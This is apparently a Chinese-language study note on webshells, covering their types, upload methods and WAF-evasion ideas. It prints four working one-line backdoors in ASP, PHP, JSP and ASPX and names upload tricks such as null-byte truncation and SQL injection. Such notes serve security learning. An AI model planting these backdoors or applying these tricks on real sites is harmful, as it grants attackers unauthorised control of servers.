什么是webshell?
单从字面意思上来说,就是web网页的一个shell脚本程序;起初的webshell是用各种语言(asp,jsp,php等)写的一个管理控制Web服务器的应用程序脚本,可以再web前端后端执行特殊命令,后来的webshell渐渐变味,被黑客利用用作恶意用途,大多是植入到网站后台的“后门”文件,通过webshell可以越权完成许多的恶意操作。
webshell通常可以划分为以下几种:
大马:体积较大(100k左右),功能强大,通常用加密文本进行隐藏以绕过安全监测;
小马:体积较小,通常只能上传和下载文件;
一句话马:代码极短,通常只有一句话;使用方便,可以按插执行文件里面不易察觉;变形较多,难查杀;基本的执行逻辑不会变;(通常用菜刀连接后上传大马)
贴几个基础一句话木马
<%eval request("sb")%> //asp
<?php eval($_POST[sb])?> //php
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> //jsp
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> //aspx
常用上传webshell的方法
文件解析漏洞上传;
截断上传(brupsuite抓包改hex文件名后缀为00);
后台数据库备份上传(备份后的文件为.sql,文件即被压缩绕过waf);
SQL注入上传;
隐藏websell的方法
这里先不展开讲,简要说一下基本绕过思路,后面研究透彻之后再主要总结一句话木马的几种经典的变形和绕过思路
构造法:
通常是应用其他形式的字符,与或非之类的逻辑运算,构造出“子虚乌有”的一句话木马,以巧妙绕过waf的检测
回避法:
只适用于asp脚本语言的一句话马,简单来说就是一句话换个形式再说一遍,以绕过waf检测
拆分法:
间接地说就是把原本的一句话拆分为若干段,分别赋给不同的变量,而后拼接到一起,适用于各种语言的一句话马
乱码变形
使用编码加密手段构造出字符样子的一句话马,以绕过检测